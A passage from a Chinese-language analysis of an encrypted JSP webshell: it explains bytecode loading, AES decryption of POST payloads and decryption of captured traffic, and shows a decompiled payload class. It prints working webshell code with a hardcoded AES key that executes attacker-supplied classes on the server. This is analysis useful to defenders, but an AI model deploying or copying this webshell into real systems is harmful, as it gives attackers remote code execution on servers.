out.println(new U().g(new BASE64Decoder().decodeBuffer("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=")).newInstance());
%>
<!-- 其中 BASE64 值是如下类的字节码经过BASE64处理后的值 -->
<!--
public class CMD {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
} -->
运行后会弹出计算器:
后面就是一个AES加密解密的API调用了, 给出JAVA案例直接理解:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException,
InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
SecretKeySpec key = new SecretKeySpec("secretkey1231231".getBytes(), "AES"); // 定义 KEY
Cipher aes = Cipher.getInstance("AES"); // 得到 AES 加密算法对象
aes.init(1, key); // 初始化对象 1: 加密 2: 解密
byte[] bytes = aes.doFinal("data".getBytes()); // 加密后的数据
String encode = new BASE64Encoder().encode(bytes); // 将加密后的数据进行 BASE64 处理
System.out.println(encode); // LLTp6j57mmYVkfw77vc83g==
}
}
那么接下来理解这段代码:
<%
if (request.getMethod().equals("POST")) { // 如果是 POST 请求
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES"); // 得到 AES 加解密对象
c.init(2, new SecretKeySpec(k.getBytes(), "AES")); // 解密数据对象, 用 e45e329feb5d925b 作为 KEY
new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(
request.getReader().readLine() // 将 POST 中传递过来的字节码, 经过 BASE64 解密处理
)))
.newInstance().equals(pageContext); // 调用 newInstance 进入 static 代码块 | 无参构造函数, 调用 equals(pageContext) 将当前 JSP 页面上下文传递过来
}
%>
那么使用BP进行捕获POST中传递的字节码信息:
编写python脚本进行解密, 得到class内容:
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
# 假设这是你的密钥和初始化向量,需要和加密时相同
key = b'e45e329feb5d925b'
# 加密文本
ciphertext = base64.b64decode(b'''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''')
cipher = AES.new(key, AES.MODE_ECB) # 创建AES解密对象
plaintext = cipher.decrypt(ciphertext) # 解密
plaintext = plaintext[:-plaintext[-1]] # 删除填充
open('data.class', 'wb').write(plaintext)
使用jd-gui进行反编译:
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import net.rdapieo.Vbypdrrvir;
public class Vbypdrrvir {
public static String content = "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";
private Object Request;
private Object Response;
private Object Session;
public boolean equals(Object obj) {
Map<String, String> result = new HashMap<String, String>();
try {
fillContext(obj);
result.put("status", "success");
result.put("msg", content);
} catch (Exception e) {
result.put("msg", e.getMessage());
result.put("status", "success");
} finally {
try {
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
write.invoke(so, new Object[] { Encrypt(buildJson(result, true).getBytes("UTF-8")) });
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
} catch (Exception exception) {}
}
return true;
}
private byte[] Encrypt(byte[] bs) throws Exception {
